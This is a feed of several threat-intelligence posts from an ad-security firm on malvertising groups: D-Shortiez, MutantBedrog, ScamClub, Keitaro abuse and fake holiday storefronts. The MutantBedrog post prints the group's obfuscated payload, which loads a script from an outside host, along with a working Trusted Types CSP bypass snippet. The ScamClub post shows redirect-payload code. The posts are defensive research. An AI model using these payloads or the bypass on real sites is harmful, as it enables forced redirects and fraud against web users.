Confiant

Tracking Software Weaponized by Criminals

Confiant — Tue, 24 Mar 2026 21:54:22 GMT

Keitaro is an advertising performance tracker used by marketers and cyber criminals to route and measure traffic. It’s feature-rich, self-hosted, spins up in minutes on most hosting platforms, and can route visitors conditionally based on device type, geography, IP, and referrer. Criminals exploit it at scale.

Attackers have abused it for years. What nobody had done was study the abuse systematically across the full stack, at scale, over time. That’s what our joint research with Infoblox is.

How we built it

Confiant and Infoblox see the internet from different vantage points. Confiant has visibility across the digital advertising supply chain — billions of ad impressions a month, tracked through thousands of client-side integrations. We see the creative, the redirect, the cloaking behavior, and the moment a malicious ad reaches a real screen.

Infoblox operates at the DNS layer tracking how domains are registered, how infrastructure is built and burned, how threats move through spam, compromised websites, and web scans.

We examined four months of data starting October 1, 2025. What came back was a persistent, high-volume criminal ecosystem operating largely in plain sight.

What was running through it

15,500 malicious domains active during the study window. Roughly 9,000 registered specifically for this purpose. Traffic arriving through programmatic advertising, spam, social media, and compromised websites simultaneously, all routing through Keitaro instances, showing clean pages to anyone who looked like a reviewer.

Investment scams dominated. The pattern is consistent across actors: algorithmically registered domains, uniform web forms to capture victim contact details, fabricated news articles or endorsements to establish credibility.

FaiKast runs deepfake video ads featuring AI-generated news anchors through the programmatic ecosystem. Victims click through to near-perfect replicas of legitimate news outlets including fake CBC broadcasts, fabricated quotes from real public figures, urgent calls to sign up for fraudulent cryptocurrency platforms. The operation targets France, the U.K., Canada, Japan, and Kazakhstan, with content localized to each market.
WickedWally targets U.S. seniors specifically with debt relief, grocery allowances, Medicare benefits, funeral expenses. The lures are AI-generated deepfake video ads designed to look like news reports, tied to current events. “Due to the USA tariffs release, you can erase your credit card debt for free until this Saturday.” Victims land on fake chatbots that qualify them for benefits that don’t exist, then route them to call centers that extract personal and financial information.
FishSteaks runs gamified giveaway scams impersonating American consumer brands — virtual prize boxes, falling confetti, multi-stage landing pages designed to maximize time-on-page and conversion. AI-generated placeholder assets swapped for brand logos as campaigns go live. Individual victim losses in tech support scam variants have reached beyond $40,000 in documented cases.

What happened when we reported it

Keitaro has been used by criminal actors for over a decade. The question we wanted to answer: was Apliteni, the company that makes Keitaro, turning a blind eye? Were they effectively a bulletproof tracker?

Since August 2025, we reported over 100 domains to Apliteni. They responded to each one. More than a dozen threat actor accounts were canceled. Through the exchanges, we verified that major malware actors including TA2726 were using illicit copies of the tracker.

This level of responsiveness matters, but it’s not the end of the problem. Actors rotate domains and creatives faster than any single remediation path can keep up with. However, it establishes a viable coordination channel, and it’s the model the industry needs more of.

Read Part 1: Inside Keitaro Abuse: A Persistent Stream of AI-Driven Investment Scams

The full research — methodology, indicators, actor profiles, infrastructure analysis — is out now. Parts 2 and 3 coming soon.

Co-authored with Infoblox Threat Intel.

Disrupting 59M Malicious Impressions: Inside D-Shortiez Testing Infrastructure and Campaign Management

Confiant — Tue, 24 Feb 2026 16:46:00 GMT

Late June 2025, the Confiant threat intelligence team discovered an internal testing page belonging to D-Shortiez, a malvertising threat actor we’ve tracked since 2022. This page, accessible from any of their malicious domains, was updated on their work days with new domain information before campaigns went live.

We built automation to harvest this intelligence, enabling us to block their infrastructure before ads served to our customers. Three months later, we discovered a second admin panel managing an entirely separate campaign cluster. When they added password protection, the weak credential (123*****) gave us continued access.

In 2025, we tracked D-Shortiez serving 59 million malicious ad impressions, 95% targeting the United States. Access to their internal infrastructure allowed us to disrupt campaigns at scale before they reached end users.

This report details the operational security failures that enabled our access, the technical evidence linking their fake reward and tech support scam operations, and the indicators we’re sharing with ad platforms to help remove this threat actor from the ecosystem.

Background: D-Shortiez Activity Through June 2025

D-Shortiez is a malvertising threat actor first identified by Confiant in 2022. Their early activity focused on forceful redirection code inside their ads that redirected victims from publisher pages to scam landing pages without any user interaction. You can find out more about their activity here.

We tracked two primary scam types:

Google-branded gift card scams led victims through surveys designed to serve affiliate offers (gambling, credit cards).
Amazon-branded giveaway scams directed victims to checkout pages requesting credit card information to pay a $9.95 fee for a fake prize. The checkout pages’ terms and conditions and privacy policy buttons were non-functional, a clear indicator of fraudulent intent.

Our visibility into the ad tech supply chain enabled tracking despite their use of Cloudflare to hide origin IPs.

Figure 1: Google-branded “5-billionth search” reward scam page

Figure 2: Amazon-branded prize scam requesting credit card information

D-Shortiez Shifts to Tech Support Scams

In June 2025, the same tracking indicators we’d been using to identify D-Shortiez forceful redirection ads began leading to Microsoft Windows-branded tech support scams instead of reward pages.

We confirmed both old and new activity belonged to the same actor. The most conclusive evidence: identical domains and URL document locations appearing in both campaigns.

Technical Evidence

Testing the D-Shortiez domain ogvkvulwchwb[.]top at document location dailynews.php returned their familiar fake reward scam page. Testing the same domain and location with different URL parameters returned a redirect to their tech support scam infrastructure.

Figure 3: Legitimate-looking ad creative used by D-Shortiez (Adobe Creative Cloud)

Figure 4: Browser developer tools showing D-Shortiez domain (ogvkvulwchwb.top) in network traffic during forced redirection

The tech support scam pages impersonated Windows Defender notifications, claiming the victim’s PC was infected with malware and providing a phone number for fake Microsoft support.

Figure 5: Fake Microsoft Windows Defender notification scam page with fraudulent support number

Their use of the Binom traffic distribution system (TDS) allowed them to serve different scam types based on victim device: Windows users received tech support scams, while mobile users still received reward scams.

Discovering the Internal Ad Test Page

After confirming D-Shortiez’s shift to tech support scams, we began probing their infrastructure for hidden content. Late June 2025, we found a page intended to remain internal which provided an HTML file containing their ad testing environment.

The page was accessible from any D-Shortiez domain and contained commented-out ad tags from multiple advertising platforms, with a single tag uncommented for active testing. More importantly, the page was dynamic. We observed it being modified with new domains on what appeared to be their work days.

Example ad tag from the test page:

SHOP NOW >>

Figure 6: Rendered advertisement from D-Shortiez test page showing malicious “Shop Now” redirect

We built automation to monitor this page and extract newly added domains. This allowed us to block their infrastructure before campaigns launched, shifting our defensive posture from reactive to proactive.

Attribution: Chinese-Speaking Operators

The test page contained Chinese-language comments throughout.

They leave comments throughout the test page that map each ad tag to its DSP, as in the case SmartyAds. The notes show where the ad campaign will be served from, when the tag was added, and whether it has been submitted to the DSP for approval. Once approved, it continues running until the DSP detects the abuse and disables the campaign.

Figure 7: Chinese-language comment from test page translated to English showing campaign tracking notes

Also discovered in the test page that added confidence to D-Shortiez being Chinese or Chinese speaking actors, are the credentials for their Baota/Pagoda Panel software. Which only has Chinese language support.

Figure 8: Baota/Pagoda Panel credentials discovered in D-Shortiez test page

Figure 9: Baota Linux Panel login interface served from the host IP address(Chinese-language only)

This combination of language evidence and infrastructure choices confirms Chinese-speaking operators, consistent with timezone patterns we observed in their update schedule.

Discovery of a Second Cluster

Late November 2025, we identified new D-Shortiez activity from domains not present in the original test page. Testing revealed these domains shared the same technical fingerprints as the main cluster but were hosted on separate infrastructure.

We exposed the new cluster’s origin IP by locating a second test page. When we requested the file 01.html from the domain jswdfs[.]com, the server responded with an ad tag containing the domain res.cloudhtg[.]com.

The result of testing the new cluster’s domain for the file 01.html:

curl -s https://www.jswdfs[.]com/01.html

This domain had been scanned by Censys before it was routed through Cloudflare, revealing its true IP: 156.234.103.174 (Hong Kong). The Censys page showed certificate data linking it to bt.cn Baota/Pagoda panel, confirming the same infrastructure pattern as the main cluster.

Figure 10: Censys search results revealing D-Shortiez infrastructure IP (156.234.103.174) before Cloudflare routing

Figure 11: SSL certificate data from Censys showing bt.cn Baota/Pagoda Panel references in certificate subject and issuer fields

Accessing the Second Cluster’s Admin Panel

Three days after linking the new cluster to D-Shortiez, we discovered their administrative panel at a URL path accessible from any cluster domain. Initially unprotected, it became password-protected shortly after our discovery.

The password was 123*****.

Figure 12: Admin panel password prompt (password: 123*****)

The admin panel displayed active campaign data in a table with columns for:

Ad source (platform name)
Tag ID
Targeted platform (Desktop/Mobile)
Failed redirects per thousand
Successful redirects per thousand
Binom TDS domain
Campaign status (run/approving)
Toggle button to switch campaign state

Figure 13: D-Shortiez campaign management interface showing active campaigns, tag IDs, and performance metrics

Operational Intelligence Value

Before campaigns transitioned from “approving” to “run” status, we searched our ad scan data for matching tag IDs and Binom domains. This allowed us to identify and block the serving domains before they went live, disrupting campaigns before they impacted our customers.

We confirmed the admin panel data matched our scan infrastructure by comparing tag IDs and Binom domains. The admin panel showed tag ID “vi25120203” using Binom domain “softluxt.space”—both values appeared in our scanned ad creative from the same campaign.

Figure 14: Admin panel entry showing tag ID vi25120203 and Binom domain softluxt.space

Figure 15: Scanned ad creative showing matching tag ID and Binom domain from Confiant’s detection infrastructure

2025 Impact

We tracked D-Shortiez ad campaigns serving 59 million impressions in 2025.

Geographic targeting:

United States: 95.4%
Canada: 1.4%
Japan: 0.6%
Other countries: 2.6%

Figure 16: Geographic distribution of D-Shortiez impressions (2025)

Device targeting:

iOS: 26,154,969 impressions
Windows: 22,977,804 impressions
Android: 7,492,224 impressions
Mac OS X: 1,971,674 impressions
Chrome OS: 333,925 impressions
Linux: 71,031 impressions

Figure 17: D-Shortiez impressions by operating system (2025)

Their use of Binom TDS allowed them to serve device-appropriate scams after redirection: Windows devices received tech support scams, while mobile devices received reward scams.

Looking Ahead

We expect D-Shortiez to modify their operations following this publication. Based on typical threat actor behavior, they will likely:

Secure or abandon exposed internal pages
Rotate infrastructure more frequently
Shift to ad platforms where our visibility is limited
Improve credential security

However, their fundamental business model of exploiting ad platform security gaps to deliver scams at scale remains profitable enough to persist despite disruption.

We’ve shared D-Shortiez indicators with numerous ad platforms throughout 2025. Some have acted swiftly to remove associated accounts. Others remain vectors for their campaigns. The ad ecosystem’s fragmented security posture creates persistent vulnerabilities that organized actors will continue to exploit.

We continue tracking D-Shortiez infrastructure and sharing intelligence with ecosystem partners. The IOCs below represent known infrastructure as of publication. Our threat intelligence feeds provide real-time updates.

D-Shortiez 2025 Domain IOCs

https://github.com/msteele-confiant/D-Shortiez_DomainIOCs

About The Autor

This research on D-Shortiez was conducted by Michael Steele, a Threat Intelligence Researcher on Confiant’s Security team.

He specializes in deep dives across the adtech threat landscape, mapping Confiant-attributed threat groups, infrastructure, and evolving TTPs. He also applies host analysis to surface durable tracking opportunities, exposing the artifacts and telemetry Confiant uses to identify and follow these threats over time. His work supports faster detection, stronger mitigations, and clearer reporting for researchers and organizations impacted by malvertising.

When he isn’t working, he enjoys spending time outdoors with friends. In the spring and summer, you will often find him camping near a dirt bike trail or staying at a cabin with friends. This winter, he has gotten into ice fishing and wanted to share a recent catch.

The Curious Case Of MutantBedrog's Trusted-Types CSP Bypass

Confiant — Tue, 03 Feb 2026 21:42:43 GMT

MutantBedrog is a malvertiser that caught our attention early summer ’24 for their highly disruptive forced redirect campaigns and the unique JavaScript payload that they use to fingerprint devices and dispatch invasive redirections.

While a comprehensive report on MutantBedrog’s TTPs is available here, this blog post will hyper-focus on a very specific technical tidbit from their client-side redirect payload.

For reference, the full payload is available in the following gist:

https://gist.github.com/eliyastein/501392d5b52ca07cef4d5ea9bddc254e#file-payload-js

This code includes a lot of familiar tactics, but tldr: it’s a slightly convoluted mess of multi-stage client-side fingerprinting and DOM manipulation that exists purely to spawn a hopefully unmitigated redirect to a scam landing page.

One of the things that stood out to us right away were the multiple references to content security policies and Trusted-Types that appear at every stage of execution.

Let’s zoom in on some excerpts for clarity:

 if (!j && typeof trustedTypes !== ‘undefined’) {
                try {
                  var y =
                    ‘\net = () => {\n    var t = Math.round(Date.now() / 1000).toString();\n    var es = “”;\n    for (var i = 0; i < t.length; i++) {\n        var c = t.charCodeAt(i);\n        es += String.fromCharCode(c + 10);\n    }\n    return encodeURIComponent(btoa(es));\n};\ntry {\nif (typeof trustedTypes !== “undefined”) {\nconst rp = trustedTypes.createPolicy(”rp”, {\ncreateScriptURL: (input) => input,\n});\nvar script = document.createElement(”script”);\nscript.src = rp.createScriptURL(\n”https://ab2t.com/v2/banner/pix?id=5d83bs12&aid=ttd006&tid=’ +
                    (window[’_tk’] || 0) +
                    ‘&p=”+et()\n);\nscript.type = “text/javascript”;\nscript.onload = function () {\nscript.parentNode.removeChild(script);\nwindow.parent.postMessage(”distroy”, “*”);\n};\nscript.onerror = function () {\nscript.parentNode.removeChild(script);\nwindow.parent.postMessage(”distroy”, “*”);\n};\ndocument.head.appendChild(script);\n}\n} catch (e) {}’
                  const U = trustedTypes.createPolicy(’rp’, {
                    createHTML: (p) => p,
                  })
                  var D = document.createElement(’iframe’)
                  D.setAttribute(
                    ‘srcdoc’,
                    U.createHTML(’

Given that we’re running this from a friendly frame, the browser is happy to oblige, and the alert is popped. We now have a foundation for our investigation.

Let’s modify our staging page to include a Trusted Types CSP directive by including the following meta tag in the header:

Our same payload will now get rejected by the CSP on top :

Now we borrow from MutantBedrog’s methodology and alter our payload.html to execute the JS within a Trusted Types policy:

try {
    const W = top.window.trustedTypes.createPolicy(’p’, {
         createScriptURL: (url) => url
    });

    const el = top.document.createElement(’script’);
    el.src = W.createScriptURL(’data:text/javascript,alert(1)’);
    top.document.body.appendChild(el);
 } catch (e) {}

Suddenly, the browser is happy to oblige:

By now, we have all the makings of a bypass: A payload that works despite the presence of a security constraint in the form a Trusted Types CSP directive.

We wanted to test one more thing though, given that the MutantBedrog payload is multi-stage and includes the Trusted-Types voodoo in subsequent stages, even after successful injection to top. Here’s an updated payload that emulates this multi-stage strategy, but without subsequent Trusted Types policies:

Uh oh!

Blocked by the browser despite the presence of our previous bypass due to our injected script creating an inline DOM element and trying to set its innerHTML.

So what happens if we inline another Trusted Types policy in that injected script? Let’s give it a try:

And the result….

At this stage in our testing, we have confirmed that given an environment that enforces a Trusted Types directive via CSP, MutantBedrog is able to bypass the CSP at every single stage of their execution from inside an ad injected into same-origin frame.

Given that the ad would be blocked by the CSP otherwise, we assume that the bypass must be exploiting a logic bug in the browser, so we submit a report to the Chrome team with our findings.

After a quick triage process, we were provided some very surprising feedback:

It’s working as intended. CSP is not propagated to iframes served over network (only to local schemes)

Along with the following references:

Content Security Policy Level 3
W3C Working Draft, More details about this document This section is not normative. This document defines Content…www.w3.org

Trusted Types
Editor’s Draft, More details about this document This section is not normative. Certain classes of vulnerabilities…w3c.github.io

And an eye-opening reference from the Trusted Types spec:

5.1. Cross-document vectors
While the code running in a window in which Trusted Types are enforced cannot dynamically create nodes that would bypass the policy restrictions, it is possible that such nodes can be imported or adopted from documents in other windows, that don’t have the same set of restrictions. In essence — it is possible to bypass Trusted Types if a malicious author creates a setup in which a restricted document colludes with an unrestricted one. In an extreme case, the restricted document might create a Blob from strings and navigate to it.
CSP propagation rules (see Content Security Policy 3 § 7.8 CSP Inheriting to avoid bypasses partially address this issue, as new local scheme documents will inherit the same set of restrictions, so — for example — script-src restrictions could be used to make sure injections into Blob contents would not execute scripts. To address this issue comprehensively, other mechanisms like Origin Policy should be used to ensure that baseline security rules are applied for the whole origin.

Turns out that this flavor of Trusted Types bypass is not a browser bug exploit after all and this bypass scenario is even documented and cautioned against in the very spec for this functionality.

Reflecting on our analysis of this malicious payload, and particularly this CSP bypass, we’ve landed on a few important take-aways:

Highly adept cybercriminals like MutantBedrog continue to push technical boundaries in surprising ways, going as far as understanding browser security at the specification level, in order to orchestrate sophisticated payloads that are optimized to work under multiple edge cases.
CSPs are a powerful tool that can be leveraged to combat all kinds of XSS and injection attacks, but are tough to get right, especially when it comes to same-origin threats like those that might leak in from an ad serving environment.

Archive: This article was originally published on our Confiant Medium blog on September 16, 2024.

Phantom Stores: Retail Impersonation Spreads Ahead of Black Friday Powered by Video Ads and Modular 'Holiday Skins' Kit

Confiant — Mon, 24 Nov 2025 16:51:00 GMT

In the frenzied weeks leading up to Black Friday and Cyber Monday, Ad Tech’s busiest season, a new cluster of phantom storefronts has surged into view. While trademark abuse and counterfeit retail are cyclical seasonal holiday threats, this year brings a heavy pivot to short-form, “TikTok-style” video ads to drive traffic combined with resilient infrastructure.

This article was originally published on our Confiant Medium blog on November 24, 2025

Malicious Video Ads

Timing the Abuse of the Ad Ecosystem

This cluster is capitalizing on the current ‘search and discovery’ phase of the shopping cycle. It is aggressively targeting high-demand gifting items like laptops, luxury apparel, and home appliances, alongside seasonal staples like Christmas trees, lights and holiday chocolate. It is timed specifically to coincide with legitimate ‘Early Black Friday’ and holiday sales events, and notably going with video ads rather than static ads. Trademarks of dozens of major brands are abused, in particular giants Amazon, Costco, Walmart and Home Depot.

Google Trends Data- Black Friday Deals October 1 — November 19 2025

From a revenue perspective, Q4 is critical in Ad Tech. Ad Tech companies generate a significant portion of their annual profits during this window, while advertisers aggressively deploy their remaining budgets.

Consequently, Ad Operations teams operate at maximum capacity, managing a significant increase in campaigns for Black Friday and Cyber Monday events. They face pressure to approve and launch campaigns rapidly. Ad Operations teams treat “high-CPM” brands like the ones we saw abused with care during Q4 because of their impact on revenue and driving spend. In this high-velocity environment, mimicking high-CPM brands can be quite effective. Additionally, video ads are time-consuming to review and historically perceived as safe, often giving them a degree of implicit trust from reviewers.

Attackers try to exploit this operational strain, attempting to slip a steady stream of malicious campaigns through amidst the flood of legitimate campaigns. They also rely on cloaking to ensure they remain undetected by security researchers while actively targeting consumers.

Cloaking

The cloaking used by this cluster is relatively straightforward: users on desktop or specific user agents are served benign, policy-compliant “white pages” that resemble generic e-commerce sites with no major brands or logos in sight.

Meanwhile, targeted users are taken to the fake/ phantom storefronts. We detected clones of several major retailers like Amazon, Costco, Walmart, Wayfair and Home Depot, showcasing the year’s trending inventory. Copying sites is trivial and attackers rip assets directly from the legitimate websites. The resulting fake sites are mid-tier clones with minimal functionality but visually passable enough to deceive a user scrolling on a mobile device.

The video ad creatives themselves featured a wide variety of high-demand goods. They showcased ‘hype’ products like Uggs, On Cloud running shoes, MacBooks, iPhones, Arc’teryx, and L.L.Bean, alongside seasonal staples such as Christmas trees, holiday lights, and festive decor.

To keep the scam resilient against inevitable blocks and takedowns, the attackers rely on a multi-staged backend and delivery strategy.

Infrastructure Reliance

Registered Domain Generation Algorithms (RDGA) Use
To sustain volumes and account for takedowns, the cluster uses Registered Domain Generation Algorithms or RDGAs to programmatically generate and register a steady stream of disposable domains, keeping ahead of blocklists while maintaining a consistent flood of traffic.

The RDGAs used by this cluster are pretty good, the domains we detected are well-designed: short .com domains consisting of “pronounceable” pseudo-words. This helps them blend in with legitimate brands that utilize similar short naming conventions (e.g., Google, Roblox). Many contain fragments of real words, for example fctural[.]com mimics ‘factual’, atlanh[.]com ‘atlanta’, fgency[.]com ‘agency’, vsibla[.]com ‘visible’, rnicle[.]com ‘chronicle’). This results in the domains having low entropy. If a security analyst is looking at logs, they might mistake a domain like fgency[.]com for a legitimate, albeit niche, website. In contrast, a random, high-entropy domain like lqkwrj[.]com stands out as immediately suspicious.

Asset Decoupling
To harden the infrastructure, attackers create a separation between the disposable RDGA domains and the content hosting. This architecture effectively establishes an “Asset Mothership” where the heavy resources (images, fonts, scripts) live, with multiple RDGA domains pointing to it.

When the RDGA domain is inevitably blocked, the attackers simply discard it and rotate to a fresh domain, repointing the HTML to the existing asset repository in the mothership. This ensures rapid recovery without the need to migrate heavy resources. They also leverage dns-prefetch and preconnect to minimize latency, maintaining the illusion of the high-performance infrastructure expected from major retailers like Amazon.

Holiday Skins

Analyzing the Checkout and Payment pages revealed some interesting, specific class selectors for all the major holidays and retail events.

These selectors indicate that the campaign is designed for year-round operation, capable of being “re-skinned” instantly by changing a parent class on the tag. This Holiday Skins capability allows the attacker to run a Halloween scam in October, a Black Friday scam in November, and a Christmas scam in December pretty easily- creating a continuous, year-round operation.

.head-notice.thanksgiving
.head-notice.blackFriday
.head-notice.cyberMonday
.head-notice.christmas
.head-notice.newYear
.head-notice.valentinesDay

Conclusion

Ultimately, this cluster is a prime example of the agility and TTPs used by modern Malvertisers. It is a convergence of high-engagement video ads, resilient infrastructure, and a modular backend capable of instant ‘re-skinning’ for any major holiday.

By layering these TTPs, the threat actors have built a ‘Dark Q4’ campaign that is not only resilient to mitigation but designed for continuous, year-round operation. They have effectively created a strategy inspired by the very brands they abuse — prioritizing scalability, global reach, and operational efficiency to defraud consumers at an industrial scale.

IOC dump

https://gist.github.com/roshan-confiant/923c7aa5b2ad162e85169f89076920d0

ScamClub's Deceptive Landing Pages

Confiant — Thu, 26 Oct 2023 17:56:00 GMT

Recently, I was involved in publishing Confiant’s ScamClub: Threat Report Q1-Q2 2023. During our investigation into this malvertising threat, we found ScamClub utilizing RTB integration with ad exchanges to push bid responses upstream to forcefully redirect the victim’s browser from the publisher site, to their landing pages containing scams. These scams are meant to entice victims into continuing to sites that ScamClub are affiliates of, but do not own. ScamClub leads its victims to other business entities page’s which contain surveys, CC-submit offers, and other offers in order gain profit from that entity as a marketing partner. Being an affiliate of these platforms has been very successful for ScamClub and we estimated approximately $8.5 million in total revenue in the first two quarters of 2023. Exploiting an ad recipient’s browser to forcefully redirect them to a page that scams them into entering credit card details into an unrelated offer, negatively represent its business partners. In this blog I will cover how ScamClub exploits the ad tech system to bring in confused victims, how it uses deception to scam its victims, and a few entities ScamClub was business partners with.

ScamClub’s Deceptive Nature

ScamClub is a threat actor whose techniques are captured in our Malvertising Attack Matrix. Our team tracks malvertising threats and profiles them based upon the techniques they use. More about how we profile these threats can be found in this blog post. I will be referring to the specific techniques in the matrix ScamClub uses in order to explain the story of its deception.

Before reaching ScamClub’s landing page, ScamClub exploits a technique known as [C204] Forceful redirects. This technique redirects the ad recipients browser from where it was, on the publisher website, to somewhere else, with no interaction required. In the case of a bid request won by ScamClub, code will run on the victims browser which will forcefully redirect it from the publishers website, to ScamClub’s malicious landing page. The victims may not know it was delivered via an exploited ad on the publisher website. Without this knowledge, they may misinterpret the legitimacy of the page to which they were forcefully redirected to and fall victim to its scams. I think is important to note about ScamClub because it uses this confusion to further its false claims and impersonation.

ScamClub is initially delivered by an ad and has a multi-staged payload. Of the three stages, the first decodes the second, the second fingerprints the victim, and the third redirects the victims browser to a ScamClub landing page. A URL is stored in the stage 3 payload.

var re_l_url = “https://trkmyclk.xyz/visit.php?k=14c685b6ffd1c77ca3f7971ad9aa01f1&c=185&bid_id=3343-91c36751b0e2d90-192&pub=englewoodherald.net&exchange=gothamads&ip=174.197.141.183&browser=&os=&ifa=&cc=US&time=bYvMTY4NTgxNjk5NjI4OA&browserv=113&site_id=englewoodherald.net_73fe4cb37e68&sec_id=69e3bf5a53902da611fdaf5be3683a25&xrtb_id=f24b89c64ec64d159a3e64f954239b2b&ifm_ori=2%7C%7Cabout:blank%7C%7Cenglewoodherald.net&banner_id=kKOE&a_href_id=bpbsF” + “&scid_bak=” + “1c41d66b534abcb1ae4074295f71c147” + “&scip_bak=” + “5ca1015596000a7a365a789343454851” + “&tmid_flg=” + “MKTaYk4aNxTig0x0N7jk5NwO0O0OO0O0O”;
var pbHalfSeconds = 3;
var expiryCookie = true;
var coo_time = 1;

The domain of the URL in this stage 3 sample is old and is no longer used. This domain name was reported to NameCheap by Confiant on October 5th, 2023 and the domain was no longer active by the end of the day. This domain has been retired but the domain trackmaster.cc has taken its place and points to the same ScamClub IP(34.74.68.195). Requesting the URL from a stage 3 payload after replacing its domain with a current one, and removing all parameters that are not required, results in a response which indicates a 302 redirection.

http://trackmaster.cc/visit.php?k=994bf7a2b571f6bb6bde249b80572b25&c=155

The location stored in the response is ScamClub’s landing page URL. Fingerprinted data about the victim is given in the URL to the landing page via parameter data.

c = 4fz378lydzOz1
k = 139959912043137dd95ebab878004690
country_code = US
carrier = -
country_name = United States
region = New York
city = New York
isp = Time Warner Cable Internet LLC
lang = en
os = Windows 10
osv = (empty)
browser = Chrome
browserv = 117
brand = Desktop
model = Desktop
marketing_name = Desktop
tablet = 4
rheight = 768
rwidth = 768
e = 5

A cookie is set with values c and k and it is also stored in parameter data. These values are later used to redirect the victim towards the scam. If we load the location/URL from the response in safari, we land upon a ScamClub landing page. Bellow we can see the URL that leads to the entities landing page uses the c&k cookie values set in the response from the ScamClub intermediate server.

Using the c&k values in its URL to the scam landing page. To be noted, my mouse is hovering over the “Renew Subscription” button, causing the URL to show in the bottom.

We will find there are two styles of ScamClub landing pages on two different domains in the examples below. Both are delivered after stage 3 is has ran on a victims browser from a malicious ad served by ScamClub, and a 302 redirection is sent from ScamClub’s intermediate server, leading to their own landing page. Both landing page styles exhibit the same format and reuse code. All the habits mentioned above occur on both.

neonaturaleco.top

ScamClub landing page impersonating Google

This ScamClub landing page style exhibits the following Malvertising Attack Matrix techniques:

C801 & C811 indicate that the landing page tells the victim that they have won a gift card or another prize in order lure them. In reality, they have not won anything. Since the page is Google branded and the text speaks to the customer, we decided to rules it C811. It even claims copyright at the bottom of the page.

ScamClub landing page claiming google copyright

Code within the landing page is used to extract the carrier parameter from the URL used to access it.

The above code snippets were retrieved from neonaturaleco.top. Knowing now that the carrier parameter in the GET requests is used to dictate what the page loads, we can set it to be in this example “Cell C”

Cell C landing page

We see elements of the page are loaded in correlation to that parameter data.

After clicking the OK button, a 9 question survey asks the following questions with buttons to enter answers. These questions changed based upon the location of the victim to have more fitting “operators” as they refer to them.

What kind of device are you using at the moment? PC / Notebook, Smartphone, Tablet, Other device.
Which operating system does your device use? Microsoft Windows, Apple MacOS, Android, Apple iOS, Other.
Which browser do you use? Google Chrome, Internet Explorer / Edge, Firefox, Opera, Other.
Do you use Internet on your mobile phone/smartphone? Yes, regularly, Occasionally, Seldom.
Do you plan to replace your phone soon? If so, when? Not anytime soon, In the next three months, Within a year.
Which other operators do you use? Cell C, MTN, Telkom, Vodacom.
Are you satisfied with the connection quality of {the operator you picked}? Highly satisfied, Reasonably satisfied, Highly dissatisfied.
How old are you? Under 18 years old, 18–25, 26–34, 35–54, 55–64.
What is your gender? Male or Female.

After completing the survey, the victim chooses a prize. Here are the prizes displayed on an English page.

After a gift is picked, the victim is directed to a new host owned by another entity to enter details to purchase the gift. The landing page the victim lands on after leaving ScamClub’s, most of the time resembles the prize the victim chooses.

Landing page after picking “Mystery Electonic box”

Landing page after picking “Dyson Products”

Landing page after picking “AMERICAN TOURISTER AEROSTEP 77CM”

Landing page after picking “Shein $750 Gift Card”

Some of the scam landing pages are not branded around the item the victim chose.

Looking back at ScamClub’s landing page, we see a JavaScript source was loaded and find it is used to generate several URLs.

testing PK.buildoffer_random()

We can see that a URL is inside these offer_… variables. The URL’s only differ in the offer parameter value. On this page it is an int between 1–10 because 9 total offers are represented on the page. When the victim chooses one, the page is loaded using window.open()


function __cta(a){
        if(a == 1){
            window.open(offer_s10,’_blank’);
        } else if(a==2) {
            window.open(offer_iphonex,’_blank’);
        } else if(a==3) {
            window.open(offer_movie,’_blank’);
        }else if(a==5) {
            window.open(offer_shein,’_blank’);
        }else if(a==6) {
            window.open(offer_gas,’_blank’);
        }else if(a==7) {
            window.open(offer_mystery_box,’_blank’);
        }else if(a==8) {
            window.open(offer_dyson,’_blank’);
        }else if(a==9) {
            window.open(offer_aerostep,’_blank’);
        }else if(a==10) {
            window.open(offer_airfryer,’_blank’);
        }

Inspecting the OK button on the Galaxy offer shows it call the previous code snippets function

eu.cybershieldscan.monster

Recently, we have seen ScamClub’s landing pages change and not offer more than one offer. Their landing pages shifted towards scareware and convince victims into paying for McAfee antivirus software. They persuade the victim into believing they have malware falsely.

ScamClub’s McAfee branded scareware

None of the claims on the landing page are true and their only purpose is to scare the victim into believing they need the software.

This code manipulates the document history and listens for an event named “popstate”. When this event occurs the document location changes and this results in the victims browser loading a new landing page and scam from the same ScamClub host. On safari, this event occurs upon refreshing. This may be confusing to Safari users because most pages reload the same page and content upon refreshing. On Firefox, this event occurs upon reloading or trying to navigate forwards or backwards a page. Firefox victims will not being able to leave without closing the tab or browser and a new scam loads upon each attempt they try to navigate or refresh.

ScamClub’s Business Partners

ScamClub landing pages are meant to entice the victim in continuing to another landing page. This second landing page is owned by another entity that ScamClub is marketing partners with. ScamClub landing pages do not generate profit on their own and rely upon sending traffic to their partners for profit. Once the victim enters payment details to complete the offer, ScamClub is paid as an affiliate of the transaction. We can track the entities ScamClub is a marketing partners with by reading the Terms and Conditions on the entities payment page if available.

RPPRO LLC. is the entity mentioned on most of the entity landing pages at the time of testing(October 12, 2023).

AMERICAN TOURISTER AEROSTEP 77CM landing page’s Terms and Conditions

Crative Peace Makings LLC was mentioned in the Terms and Conditions of the page the Dyson entity landing page(October 12, 2023).

One entity landing pages makes the victim agree to a Terms and Conditions and a Privacy Policy that is not accessible from the payment page. I did not find an entity name for this example due to it not being available.

Payment page with inaccessible Terms and Conditions and Privacy Policy

On the Shein branded scam landing page,

after the victim fills the form and submits, the victim is brought to a new host which the entities represented on the payment page load dynamically. We can see this easiest by submitting the form multiple times. After we do, we are brought to many different payment pages that do not point to a single entity.

getiqbrain.com is the domain of the payment page in two of the three screen shots but the entity name as well as address on the two pages are different.

Deceptive Practices

While going through ScamClub’s business partners Terms and Condition policy, I found that they are not a one time purchases and rather a subscription with hidden details. Reading the policy you will find the purchase is for a trial period of a subscription based service. By accepting the trial, you are subscribing to the service unless you cancel within the trial period. These entities charge the victim a low amount like 2–5$ for a three day trial. A charge of ~50$ is made after the trial ends and will this charge will reoccur again every two weeks or a month.

You would not be able to tell what you are buying from these entities pages based upon what you see without clicking and reading the policy. The pages are intentionally misleading to its victims. The detail about the purchase being for a trial that furthers them into a costly subscription is hidden in fine text or in its policy agreement. This results in victims believing they paid for a one time purchase, when in reality they have agreed to pay for a subscription. The payment model of the subscription exploits the victims being unaware of the purchase by having reoccurring payments that increase.

Conclusions

